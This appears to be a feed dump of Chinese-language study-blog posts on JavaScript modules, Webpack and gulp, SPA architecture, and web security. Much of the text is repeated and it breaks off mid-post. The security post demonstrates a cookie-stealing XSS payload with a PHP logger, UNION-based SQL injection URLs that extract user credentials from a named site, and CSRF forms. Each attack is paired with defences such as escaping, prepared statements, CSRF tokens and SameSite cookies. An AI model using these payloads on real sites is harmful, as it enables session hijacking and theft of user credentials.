return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
}
// 產生一個 m 並丟到 utils,讓 m 帶上 exports 的物件
var m = {}
utils(m)
main(function r() {
// 回傳我們所需要的 m.exports
return m.exports
})
在使用 Wekpck 的最基本的功能其實就是在進行這樣子的打包( bundler )的工作。在 Webpack 基本的設定檔裡面可以看看這樣的範例。
module.exports = {
mode: 'development',
entry: './main.js',
output: {
path: __dirname,
filename: 'bundle.js'
}
}
設定入口點 main.js,Webpack 會將入口點所需的套件打包起來,如果這些套件又依賴其他套件也會一併打包,最後輸出 bundle.js。 如此一來,bundle.js 便可以成功在瀏覽器上運行,雖然瀏覽器不支援 module.exports/require 語法。
在 ES6 的框架底下終於有了標準化的模組使用方法,首先在 Node.js 上試一下。
//utils.mjs
export function getEnsuredArray(item) {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
// main.mjs
import { getEnsuredArray } from './utils.mjs'
const example = 10
const result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
這邊可以看到 export/import 的 ES6 語法,另外要注意的是副檔名需要改成 .mjs 才可以使用 export/import 語法。並且如果 Node.js 是低於 v13 版本的,除了修改檔名以外還要加上額外的 flag:node --experimental-modules main.mjs
。
那麼在瀏覽器上可不可以用呢?答案是可以的,但支援度很差,首先在引入 js 檔的標籤上記得加上 type="module"。
<html>
<head>
<script src="./main.js" type="module"></script>
</head>
<body>
</body>
</html>
但這樣子還是會出錯,記得要開啟 server 才可以。
除此之外,在瀏覽器引入不論是 npm 安裝的第三來源套件或是自己寫的模組都必須指定路徑並且寫出完整檔名,除此之外,在瀏覽器引入不論是 npm 安裝的第三來源套件或是自己寫的模組都必須指定路徑並且寫出完整檔名,例如./node_modules/pad-left/index.js
。
這樣其實很不友善,因為當檔案系統改變的時候,把每個 js 檔裡的路徑修改就瘋掉了,那麼不如一樣利用 webpack 打包成一個檔案。
最後,Webpack 還可以打包更多東西,包含 CSS 甚至是圖片等等,不過底層還是透過 JS 來實作的,比如說在 DOM 裡插入 style
或是 img
等等。更實用的是在打包以前還可以先搭配 sass, babel 等等工具來 compile。
gulp 與 webpack 做的事情可以說是完全不一樣。
gulp 是一個 task manager,也就是說它是一個管理 task 的工具,甚麼是 task 呢? gulp 提供了數以百計的 plugins ,我們可以將這些 plugins 拿來使用並且制定這些 plugins 的執行順序,比如說我想先清空桌面,然後修改時間。
除了按照順序執行以外也可以平行執行,比如說 ES5 的 js 檔透過 Babel 轉成 ES6,同時把 SCSS compile 成 CSS 是不衝突的可以同時執行。webpack 的 plugin 也可以是 gulp 的任務,用來把許多資源打包。
說到這裡,我們可以知道 gulp 的使用十分彈性,因為他把使用權交給使用者,基本上使用者想做的事情都可以做到。
const { src, dest, series, parallel } = require('gulp')
const babel = require('gulp-babel')
const sass = require('gulp-sass')(require('node-sass'))
function compileJS() {
return src('src/*.js')
.pipe(babel())
.pipe(dest('dist'))
}
function compileCSS() {
return src('src/*.scss')
.pipe(sass().on('error', sass.logError))
.pipe(dest('css'))
}
exports.default = parallel(compileJS, compileCSS)
這邊 gulp 的範例可以看到有兩個 task,一個是 comileJS 一個是 compileCSS,然後這兩個 task 同時進行,task 該做甚麼以及 task 執行的順序都是使用者決定的。
Weckpack 的功能就很單一了,他就是一個 bundler,比起 gulp,頂多是一個 task 罷了,使用 weckpack 時可以利用許多 plugin 將資源先經過轉換,但最後 weckpack 的動作還是將所有的資源打包。
]]>如果想知道 Webpack 的功能,那肯定得先知道模組化的概念,模組化的概念可以想像成拼裝,舉個例子來說,掃地機器人的組成有動力模組、智能模組、集塵器、紅外線偵測系統、灰塵感應器等等。
而在組裝一隻掃地機器人時,我們可以在很大程度上隨自己的喜好去搭配自己喜歡的模組來完成自己的掃地機器人。
也就是說,一個可以模組化的東西會包含這幾種特性。
而模組化的設計在高度客製化的軟體開發裡,就變得十分適合。
假如我們在使用 Node.js 寫一個專案的時候,把功能型函式給切到 utils.js 裡,這邊的範例是用來確保丟進這個函式的物件之後可以以 Array 的型態進行操作。
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
在主程式 main.js 裡,我們試著引入 utils.js
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
var result = example.map(function(element) {
return element * 3
})
console.log(result) //ERROR: example.map is not a function.
可以發現透過引入 utils.js 裡的 getEnsuredArray 函數,可以避免對不是陣列的物件使用陣列方法而報錯的情況。
這種用 module.exports 把東西導出,用 require 把模組引入 的寫法是根據一種叫作 CommonJS 的標準。在 ES6 以前,JavaScript 本身沒有規範任何與模組相關的使用機制,所以各個執行平台可以依照自己選擇的方式去實作,Node.js 採用的就是 CommonJS。
但可惜的是,瀏覽器上並不支援,所以無法使用 module.exports,也沒辦法用 require。
如果我們可以用原生的 JavaScript 模擬 CommonJS 中 export 還有 require 效果,那麼就可以自己把 CommonJS 編譯到瀏覽器上執行了!
我們的目標是讓 require('./utils.js)
回傳的東西就是 utils.js 裡的 module.exports
,那麼來實際試試看吧。
首先在主程式要用到 require 這個函式,所以先把主程式打包成一個函式,並傳入參數(函式)require:
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
接著把模組也包成一個函式,記得在模組裡用到 module.exports 的語法嗎?所以這個打包起來的函示要傳入物件 module:
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
// 把模組包起來,傳入 module 物件
function utils(module) {
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
}
接著把一個物件帶入 utils 函式執行,這個物件的 exports 屬性便成功指向了 getEnsuredArray。
除此之外,我們可以注意到 main.js 以及 utils.js 都被包在函式裡面,也就是說他們的作用域都是私有的。
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
// 把模組包起來,傳入 module 物件
function utils(module) {
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
}
// 產生一個 m 並丟到 utils,讓 m 帶上 exports 的物件
var m = {}
utils(m)
})
有了 module.exports,最後一步要執行主程式。看一下打包好的主程式需要傳入一個 require 函式,也就是說我們希望 require('./utils') 可以回傳 module.exports。
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
// 把模組包起來,傳入 module 物件
function utils(module) {
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
}
// 產生一個 m 並丟到 utils,讓 m 帶上 exports 的物件
var m = {}
utils(m)
main(function r() {
// 回傳我們所需要的 m.exports
return m.exports
})
在使用 Wekpck 的最基本的功能其實就是在進行這樣子的打包( bundler )的工作。在 Webpack 基本的設定檔裡面可以看看這樣的範例。
module.exports = {
mode: 'development',
entry: './main.js',
output: {
path: __dirname,
filename: 'bundle.js'
}
}
設定入口點 main.js,Webpack 會將入口點所需的套件打包起來,如果這些套件又依賴其他套件也會一併打包,最後輸出 bundle.js。 如此一來,bundle.js 便可以成功在瀏覽器上運行,雖然瀏覽器不支援 module.exports/require 語法。
在 ES6 的框架底下終於有了標準化的模組使用方法,首先在 Node.js 上試一下。
//utils.mjs
export function getEnsuredArray(item) {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
// main.mjs
import { getEnsuredArray } from './utils.mjs'
const example = 10
const result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
這邊可以看到 export/import 的 ES6 語法,另外要注意的是副檔名需要改成 .mjs 才可以使用 export/import 語法。並且如果 Node.js 是低於 v13 版本的,除了修改檔名以外還要加上額外的 flag:node --experimental-modules main.mjs
。
那麼在瀏覽器上可不可以用呢?答案是可以的,但支援度很差,首先在引入 js 檔的標籤上記得加上 type="module"。
<html>
<head>
<script src="./main.js" type="module"></script>
</head>
<body>
</body>
</html>
但這樣子還是會出錯,記得要開啟 server 才可以。
除此之外,在瀏覽器引入不論是 npm 安裝的第三來源套件或是自己寫的模組都必須指定路徑並且寫出完整檔名,除此之外,在瀏覽器引入不論是 npm 安裝的第三來源套件或是自己寫的模組都必須指定路徑並且寫出完整檔名,例如./node_modules/pad-left/index.js
。
這樣其實很不友善,因為當檔案系統改變的時候,把每個 js 檔裡的路徑修改就瘋掉了,那麼不如一樣利用 webpack 打包成一個檔案。
最後,Webpack 還可以打包更多東西,包含 CSS 甚至是圖片等等,不過底層還是透過 JS 來實作的,比如說在 DOM 裡插入 style
或是 img
等等。更實用的是在打包以前還可以先搭配 sass, babel 等等工具來 compile。
gulp 與 webpack 做的事情可以說是完全不一樣。
gulp 是一個 task manager,也就是說它是一個管理 task 的工具,甚麼是 task 呢? gulp 提供了數以百計的 plugins ,我們可以將這些 plugins 拿來使用並且制定這些 plugins 的執行順序,比如說我想先清空桌面,然後修改時間。
除了按照順序執行以外也可以平行執行,比如說 ES5 的 js 檔透過 Babel 轉成 ES6,同時把 SCSS compile 成 CSS 是不衝突的可以同時執行。webpack 的 plugin 也可以是 gulp 的任務,用來把許多資源打包。
說到這裡,我們可以知道 gulp 的使用十分彈性,因為他把使用權交給使用者,基本上使用者想做的事情都可以做到。
const { src, dest, series, parallel } = require('gulp')
const babel = require('gulp-babel')
const sass = require('gulp-sass')(require('node-sass'))
function compileJS() {
return src('src/*.js')
.pipe(babel())
.pipe(dest('dist'))
}
function compileCSS() {
return src('src/*.scss')
.pipe(sass().on('error', sass.logError))
.pipe(dest('css'))
}
exports.default = parallel(compileJS, compileCSS)
這邊 gulp 的範例可以看到有兩個 task,一個是 comileJS 一個是 compileCSS,然後這兩個 task 同時進行,task 該做甚麼以及 task 執行的順序都是使用者決定的。
Weckpack 的功能就很單一了,他就是一個 bundler,比起 gulp,頂多是一個 task 罷了,使用 weckpack 時可以利用許多 plugin 將資源先經過轉換,但最後 weckpack 的動作還是將所有的資源打包。
]]>從字面上可以看的出來,這種網頁架構主要只有一個單一頁面。在傳統的 MVC 架構底下,整個網站可能包含建立、讀取、修改、刪除頁面,當使用者進行一個功能,頁面會跳轉到處理那個功能的網頁。
可能會好奇是透過怎麼樣的技術去實現 SPA 的呢?AJAX 技術是推動 SPA 的一大功臣,透過 AJAX,瀏覽器的 JavaScript 可以從 Server 端獲得 JSON 或者 XML 格式的純資料,JavaScript 再去動態渲染這些純資料到網頁上,如此一來,便可以達成所有功能都在同一個頁面上的功能了。
SPA 最大的優點莫過於使用者的體驗了,因為在多分頁的網站裡,每個畫面跳轉都要重新載入整個 HTML,如果使用 SPA 的網站,網頁會動態更新,而不會出現整個畫面消失的過程。桌面應用程式一樣的使用感對使用者體驗是革命性的提升。
其他的好處還有像是前後端的分工更加明確,後端只負責提供資料與計算,前端全權負責畫面的呈現。
但是 SPA 也有伴隨而來的缺點,最大的缺點可能就是 SEO ( 搜尋引擎最佳化 ) 問題了,因為大部分畫面渲染的功能都寫在 JavaScript 裡,一開始後端提供的 Single Page 可能幾乎只有骨架,那麼搜尋引擎在瀏覽 HTML 時便無法找到相關資訊,除非搜尋引擎連帶參考執行 JavaScript 程式碼才有可能解決。
下面的圖呈現了 Multiple Page 的網站架構。
可以注意到每次要做刪除或是新增的動作,瀏覽器都會發出一個 request,然後 Server 會返回一個 html 讓瀏覽器跳轉,甚至可能再送出請求導回首頁的請求,如此一來,網頁又要再跳轉一次回到首頁,看看這個新增還有刪除的案例,在 Multiple Page 的架構下,可能會跳轉 4 次!
下面的圖呈現了 Single Page 的網站架構。
這一次除了一開始的進入首頁跟 Multiple Page 一樣,之後的功能都是發出 Ajax,在新增以及刪除的功能裡,Sever 只要回傳簡單的 ok 訊息,瀏覽器上的 JavaScript 便將首頁上的資料進行新增或刪除,如果是發出拿資料的 Ajax,此時 Server 只要單純回傳要取得的資料即可,而不用回傳完整的 HTML。注意一下,在圖片的案例裡,沒有經過任何跳轉,只有 JavaScript 動態修改首頁的元素而已。
]]>從字面上可以看的出來,這種網頁架構主要只有一個單一頁面。在傳統的 MVC 架構底下,整個網站可能包含建立、讀取、修改、刪除頁面,當使用者進行一個功能,頁面會跳轉到處理那個功能的網頁。
可能會好奇是透過怎麼樣的技術去實現 SPA 的呢?AJAX 技術是推動 SPA 的一大功臣,透過 AJAX,瀏覽器的 JavaScript 可以從 Server 端獲得 JSON 或者 XML 格式的純資料,JavaScript 再去動態渲染這些純資料到網頁上,如此一來,便可以達成所有功能都在同一個頁面上的功能了。
SPA 最大的優點莫過於使用者的體驗了,因為在多分頁的網站裡,每個畫面跳轉都要重新載入整個 HTML,如果使用 SPA 的網站,網頁會動態更新,而不會出現整個畫面消失的過程。桌面應用程式一樣的使用感對使用者體驗是革命性的提升。
其他的好處還有像是前後端的分工更加明確,後端只負責提供資料與計算,前端全權負責畫面的呈現。
但是 SPA 也有伴隨而來的缺點,最大的缺點可能就是 SEO ( 搜尋引擎最佳化 ) 問題了,因為大部分畫面渲染的功能都寫在 JavaScript 裡,一開始後端提供的 Single Page 可能幾乎只有骨架,那麼搜尋引擎在瀏覽 HTML 時便無法找到相關資訊,除非搜尋引擎連帶參考執行 JavaScript 程式碼才有可能解決。
下面的圖呈現了 Multiple Page 的網站架構。
可以注意到每次要做刪除或是新增的動作,瀏覽器都會發出一個 request,然後 Server 會返回一個 html 讓瀏覽器跳轉,甚至可能再送出請求導回首頁的請求,如此一來,網頁又要再跳轉一次回到首頁,看看這個新增還有刪除的案例,在 Multiple Page 的架構下,可能會跳轉 4 次!
下面的圖呈現了 Single Page 的網站架構。
這一次除了一開始的進入首頁跟 Multiple Page 一樣,之後的功能都是發出 Ajax,在新增以及刪除的功能裡,Sever 只要回傳簡單的 ok 訊息,瀏覽器上的 JavaScript 便將首頁上的資料進行新增或刪除,如果是發出拿資料的 Ajax,此時 Server 只要單純回傳要取得的資料即可,而不用回傳完整的 HTML。注意一下,在圖片的案例裡,沒有經過任何跳轉,只有 JavaScript 動態修改首頁的元素而已。
]]>XSS 的全名是 Cross Site Scripting,這件事看起來其實還好,因為我們本來就可自己在網站上自己寫一些 Javascript 來操作。
但可怕的是如果網站被預先植入惡意的 javascript 程式碼呢? 當我們一載入網站就執行了惡意的 javscript 程式碼,比如說如果一載入網站就自動把 cookie 送給別的 sever。
這邊可以示範這樣的攻擊手段。
攻擊方 localhost
受害方 mentor-program.co
先在本機開啟 Apache 伺服器然後寫下這樣子的檔案 get_cookie.php
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
這個 php 檔會自動把拿到的 cookie 還有其他資訊寫進 cookie.txt 裡。
接著手動開啟 cookie.txt 並開權限,在同個資料夾下終端機輸入
touch cookie.txt
chmod 777 cookie.txt
接著我們來看看受害的目標網站
這是一個留言板,它的原理是會把留言的內容寫入後端,每次前端的呈現都會再把後端的留言挖出來,所以我們可以利用著個漏洞植入惡意的程式碼。 在這邊故意留一個 <script>document.write('<img src="http://localhost/boching/get_cookie.php?cookie='+document.cookie+'" width=0 height=0 >')</script>
的留言。
重新載入留言板後,發現沒什麼異狀,但打開 devtool 卻發現無意間送出了 http/localhost/boching/get_cookie.php?cookie=xxx 的請求。
看了網頁的原始碼原來是因為網頁原本要把 card__content 的內容解析成純文字,卻誤把把留言解析成 script 標籤,因此發出請求想拿到圖片。
回頭看我們的 cookie.txt,的確是拿到了想要的資訊。 當然駭客再進行這樣的操作不會使用 localhost,而會使用 DNS 可以搜尋到的 domain。
如果 cookie 存有 sessionID 那麼駭客就可以偽造身分登入。
問題的根本在於瀏覽器對於 html 的解析是以 tag 為優先,所以出現 <
的時候會先解析成標籤,幸好瀏覽器提供了一些跳脫字元,這邊稍微列舉一下。
&
→ & <
→ < >
→ > "
→ " &apos
→ ' 當後端提取留言時,把這些敏感符號進行轉換,當瀏覽器看到這些代碼就可以正確的解析成純文字。在 php 可以使用 htmlspecialchars 函式來跳脫。
用處理完 html 特殊字元的跳脫之後,以為可以高枕無憂了,沒想到還存在著別的漏洞,這個漏洞會遭受 SQL injection 的攻擊,這個攻擊的目的是去竄改 SQL 的語法。
我們還是拿留言板來當作示範,我們來看看修改留言的部分。
我們猜測應該存在這樣的原始碼 $sql = 'SELECT content FROM table WHERE id='.$_GET['id']
,意思是透過從網址取得的 id 去資料庫裡撈留言出來。
漏洞就出在 $_GET['id']
的部分是可以讓使用者自行輸入的,如果駭客輸入了 SQL 的語法就有機會竄改原意。
這邊示範怎麼把使用這的帳密都撈出來,這邊可以使用 union 的語法,union 語法可以合併前後撈出來的資料,但前提是前後的 column 要相同。
剛剛我們猜測原始碼的語法是 $sql = 'SELECT content FROM table WHERE id='.$_GET['id']
,也就是挑出了一筆資料。
首先我們要找出哪個表格有我們想要的帳號以及密碼,所以我們想創造這樣的 SQL 語法:SELECT content FROM XXX WHERE id=-99999 union SELECT TABLE_NAME FROM information_schema.tables
。information 資料庫底下的 tables 表格裡紀錄了所有 table 的資訊,而 TABLE_NAME 這個欄位提供了所有表格的名稱。
所以我們把網址這樣寫 http://mentor-program.co/mtr04group3/Wangpoching/comment_board/update_comment.php?id=-99999 union SELECT TABLE_NAME FROM information_schema.tables
,沒想到卻沒有跑出任何東西。首先猜測原始碼可能撈了不只一筆資料,所以我們打開 devtool 找找看有沒有甚麼遺漏的。
沒想到這個頁面除了有留言內容,還隱藏了 id 的資訊,所以其實原始碼的部分挑出了兩個欄位,所以可以試圖把 SQL 改寫成 SELECT id, content FROM XXX WHERE id=-99999 union SELECT 1, TABLE_NAME FROM information_schema.tables
,再度修改網址以後終於成功了。
雖然版面很醜,但是去 devtool 還是可以看到內容。
然後我們找到了 boching_board_comment_users
,找到了以後我們只要印出帳號密碼就完成了,把 SQL 改成 SELECT id, content FROM XXX WHERE id=-99999 union SELECT 1, concat(username, password) FROM boching_board_comment_users
。
最後成功拿到了所有使用者的帳密,但密碼是經過雜湊的,接著就看駭客能不能破解密碼了呢!
實際攻破防線以後,讓我們回到經營者的角度,思考怎麼去防範。回想一下漏洞出在原始碼用字串拼接的方式去生成 SQL 語句,如果我們可以使用template
的形式,先寫出架構,而要填入的內容只被當作純文字看待,這和防範 XSS 的攻擊有異曲同工之妙。
<?php
$sql = 'SELECT id, content FROM boching_board_comments WHERE id=?';
$stmt = $conn->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows === 1) {
$row = $result->fetch_assoc();
} else {
header('Location:index.php');
die('查無留言');
}
上面的程式碼利用 prepare 函式先寫模板,接著再用 bind_param 填入變數,這個時候變數不管是甚麼都只會被當成是純字串,所以駭客就沒辦法竄改 SQL 語句了。
即使防禦好了 XSS 以及 SQL injection 的威脅,其實還存在著另外的隱憂,一樣拿留言板當被攻擊的案例。
在留言板的功能裡有刪除留言的功能,後端會檢查欲刪除的留言 id 是否是本人發出的,像下面這一張圖,如果 Peter 想刪掉自己的留言是可行的,請求的網址是 http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php?id=63
可以看到這是以 get 實作的刪除功能。
好了,現在問題來了,如果有一天,因為有惡質朋友知道 Peter 喜歡制服少女,所以傳了一個網站:
<a href='http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php?id=63'>點擊觀看制服美少女</a>
在 Peter 已經登入的情況下,基於瀏覽器會帶上訪問 domain 的 cookie,所以 Peter 的身分驗證就會通過,然後確認留言 id 是 Peter 的後,刪除就成功了。
讓我們一步一步把防範方法優化,首先因為我們知道這樣的攻擊手段在於使用者不知情的狀況下送出請求,那如果用 POST 的形式就沒問題了吧?因為使用者應該不會在奇怪的網站上填上自己的留言 id。
但如果惡質的朋友傳給你的網站是這麼寫的呢?
<form action="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php" method="POST">
<input type="hidden" name="id" value="3"/>
<input type="submit" value="點擊觀看制服美女"/>
</form>
Peter 又不明不白的點下按鈕把自己的留言刪掉了。
不然把後端改成只處理 json 格式的資料呢?,php 有 json.decode() 函式可以使用,不過你那壞朋友還是有辦法,因為在 form 裡面有 text/plain
的選項。
<form action="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php" enctype="text/plain">
<input type="hidden" name="id" value="3"/>
<input type="submit" value="點擊觀看制服美女"/>
</form>
於是 Peter 又成功刪除了自己的留言。
更可怕的是其實只要壞朋友只要寫在網頁上用 JAVA script 寫 XHR ,就算 server 端用同源政策來防禦,因為 GET, POST 屬於簡單請求,所以刪除還是會被執行。
基於安全性考量,程式碼所發出的跨來源 HTTP 請求會受到限制。例如,XMLHttpRequest 及 Fetch 都遵守同源政策(same-origin policy)。這代表網路應用程式所使用的 API 除非使用 CORS 標頭,否則只能請求與應用程式相同網域的 HTTP 資源。
這邊可以注意到像是 img,iframe,form, script 等標籤是不受同源政策規範的。如果不符合同源政策,雖然請求還是會發出,但瀏覽器會擋掉回應不讓程式拿到,要注意的是,請求還是會發出,所以如果是希望 server 做刪除、新增等等的功能,還是無法預防。
為了防止這樣的情形,同源政策區分了簡單請求和預檢請求。預檢( preflighted )請求會先以 HTTP 的 OPTIONS
方法送出請求到另一個網域,確認後續實際(actual)請求是否可安全送出,這樣可以預防 server 在後端做不該做的操作。
接著來看一下什麼樣的請求屬於簡單請求:
很簡單,如果你是使用者,那就記得每次登入完最好勤勞的登出,因為登出以後身分驗證就會失效,第三方網站就沒辦法假扮你了。
Server 端也有一些積極的方法可以對付 CSRF,首先思考 CSRF 攻擊的原理,也就是從第三方發送的假冒請求。如果可以區分是不是第三方網站發出的請求,就可以成功抵禦。
這個方法很直接,可以檢查 request 的 referer header ,但是我們難以確保瀏覽器會帶上 referer,因為使用者可以手動關閉或是有些瀏覽器不支援這個 header。
在重要的功能再加上手機驗證或圖形驗證的功能,因為攻擊方並不知道答案,所以可以有效的防禦。這個方法的安全性很高,但只適合在重要的功能使用,不然使用者體驗會很差。
這個方法的核心在於紀錄 server 的 state。 為了示範這個方法,在留言板的刪除功能新增了這個功能,跟一開始一樣,Peter 想刪掉自己的留言。不過這次點擊垃圾桶符號並不會直接比對身分後刪除留言,而是會進入一個確認刪除的畫面。
這個畫面裡其實偷偷藏了一個 csrf-token,在 server 端把這個 csrf-token 跟驗證身分的 session 放在一起,如此一來,Peter 便有了兩組通行碼,一個是登入的時候存的通行碼,新的是授權刪除文章的通行碼。
確認刪除按鈕按下以後,server 比對送來的 csrf-token 和 session 裡存的一致,才會通過。也就是說,如此一來瀏覽器可以確認使用者有點擊確認刪除才執行刪除的工作,不是從莫名其妙的地方進行刪除的請求。
上一種解法需要 server 的 state,才能驗證正確性。 然而 csrf-token 並不一定要儲存在 server 端,一樣在確認刪除的頁面產生一組隨機的 token 並且加在 form 上面,同時也讓 client side 設定一個名叫 csrftoken 的 cookie,值也是同一組 token。 這個方法也可行的原因在於因為瀏覽器的限制,攻擊者並不能在自己的 domain 設定 mentor-program.co 的 cookie!所以就算攻擊者也創造了一個隱藏的表單,裡面隨便寫上一組 crsf-token。但是因為攻擊者無法透過 javascript 去新增或是修改 mentor-program.co 的 cookie,所以當 server 檢查名叫 csrf-token 的 cookie 時便找不到。
最後來談到瀏覽器本身對 csrf 的防禦,Chrome 80 後針對第三方 Cookie 的規則調整。
第三方 cookie 常用在廣告追蹤,假設購物平台與留言板合作,留言板會從購物平台以 img 標籤獲取圖片,img 標籤是不受同源限制的規範的,跨站的 set-cookie 以及攜帶 cookie 也不受限制。所以假設當獲取購物平台的圖片時,購物平台請求設置一個 cookie,當之後使用者瀏覽購物平台時就會攜帶這個 cookie,購物平台便會投放跟留言板相關的產品。
程式碼發出的請求受到同源政策的規範,而 set-cookie 以及攜帶 cookie 則防範則更嚴格,需要在 server 端與 client 端設定更多參數,有興趣可以參考這裡。
說了這麼多,回到 Chrome 80 後針對第三方 Cookie 的規則調整,在 http header 的 set-cookie 後綴新增了 samesite 的參數。 SameSite 有三個選項 None, Strict 以及 Lax。
無論是 same-site 還是 cross-site 的 request 上, 都可以帶有該 cookie。所以在這個情況下,第三方 cookie 廣告追蹤的功能是允許的。
僅限 same-site request 才能夠帶有此 cookie。
全部的 same-site request 以及部分 cross-site request 能夠寫入 cookie。這裡的部分包含以下能送出 request 的網頁元件:<a>
, <link rel="prerender">
, <form method="GET">.
。
這邊的規則十分有趣,為甚麼有些標籤可以跨網域,有些不行,其實只要把握一個大原則,如果網頁會跳轉而且是 GET 請求,就可以設置還有攜帶 cookie,原因是因為如果網頁會跳轉,使用者在遭到 csrf 攻擊的時候比較能有所察覺,但網頁不會跳轉的話會讓受害者怎麼死的都不知道。
最後來測試一下 Lax cookie 的實作,在留言版首頁的程式碼裡加上 header("Set-Cookie: test=abc; path=/; domain=mentor-program.co; HttpOnly; SameSite=Lax");
,然後在 localhost 寫一支 testcookie.html
<a href="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/index.php">click me</a>
<img src="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/index.php">
在預載入圖片的請求中,可以看到 set-cookie 被阻擋了下來。
當我們點擊超連結進入留言板,這次成功 set-cookie。
再次刷新 testcookie.html,一樣會先預載入圖片,從 request header 看出沒有攜帶 cookie。
當我們點擊超連結進入留言板,這次攜帶了 test=abc 的 cookie。
經過這個實驗我們發現,瀏覽器會對 set-cookie / cookie 的 header 都進行限制。
關於網站的資訊安全問題,是一門水非常深的學問,如果想要知道每年最常見的網站資安問題,可以參考 OWASP Top10。
OWASP (Open Web Application Security Project)是一個開放社群、非營利性組織,致力於協助政府或企業瞭解並改善應用程式的安全性,每年都會提出 10 大最常見的網頁資安漏洞。
]]>XSS 的全名是 Cross Site Scripting,這件事看起來其實還好,因為我們本來就可自己在網站上自己寫一些 Javascript 來操作。
但可怕的是如果網站被預先植入惡意的 javascript 程式碼呢? 當我們一載入網站就執行了惡意的 javscript 程式碼,比如說如果一載入網站就自動把 cookie 送給別的 sever。
這邊可以示範這樣的攻擊手段。
攻擊方 localhost
受害方 mentor-program.co
先在本機開啟 Apache 伺服器然後寫下這樣子的檔案 get_cookie.php
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
這個 php 檔會自動把拿到的 cookie 還有其他資訊寫進 cookie.txt 裡。
接著手動開啟 cookie.txt 並開權限,在同個資料夾下終端機輸入
touch cookie.txt
chmod 777 cookie.txt
接著我們來看看受害的目標網站
這是一個留言板,它的原理是會把留言的內容寫入後端,每次前端的呈現都會再把後端的留言挖出來,所以我們可以利用著個漏洞植入惡意的程式碼。 在這邊故意留一個 <script>document.write('<img src="http://localhost/boching/get_cookie.php?cookie='+document.cookie+'" width=0 height=0 >')</script>
的留言。
重新載入留言板後,發現沒什麼異狀,但打開 devtool 卻發現無意間送出了 http/localhost/boching/get_cookie.php?cookie=xxx 的請求。
看了網頁的原始碼原來是因為網頁原本要把 card__content 的內容解析成純文字,卻誤把把留言解析成 script 標籤,因此發出請求想拿到圖片。
回頭看我們的 cookie.txt,的確是拿到了想要的資訊。 當然駭客再進行這樣的操作不會使用 localhost,而會使用 DNS 可以搜尋到的 domain。
如果 cookie 存有 sessionID 那麼駭客就可以偽造身分登入。
問題的根本在於瀏覽器對於 html 的解析是以 tag 為優先,所以出現 <
的時候會先解析成標籤,幸好瀏覽器提供了一些跳脫字元,這邊稍微列舉一下。
&
→ & <
→ < >
→ > "
→ " &apos
→ ' 當後端提取留言時,把這些敏感符號進行轉換,當瀏覽器看到這些代碼就可以正確的解析成純文字。在 php 可以使用 htmlspecialchars 函式來跳脫。
用處理完 html 特殊字元的跳脫之後,以為可以高枕無憂了,沒想到還存在著別的漏洞,這個漏洞會遭受 SQL injection 的攻擊,這個攻擊的目的是去竄改 SQL 的語法。
我們還是拿留言板來當作示範,我們來看看修改留言的部分。
我們猜測應該存在這樣的原始碼 $sql = 'SELECT content FROM table WHERE id='.$_GET['id']
,意思是透過從網址取得的 id 去資料庫裡撈留言出來。
漏洞就出在 $_GET['id']
的部分是可以讓使用者自行輸入的,如果駭客輸入了 SQL 的語法就有機會竄改原意。
這邊示範怎麼把使用這的帳密都撈出來,這邊可以使用 union 的語法,union 語法可以合併前後撈出來的資料,但前提是前後的 column 要相同。
剛剛我們猜測原始碼的語法是 $sql = 'SELECT content FROM table WHERE id='.$_GET['id']
,也就是挑出了一筆資料。
首先我們要找出哪個表格有我們想要的帳號以及密碼,所以我們想創造這樣的 SQL 語法:SELECT content FROM XXX WHERE id=-99999 union SELECT TABLE_NAME FROM information_schema.tables
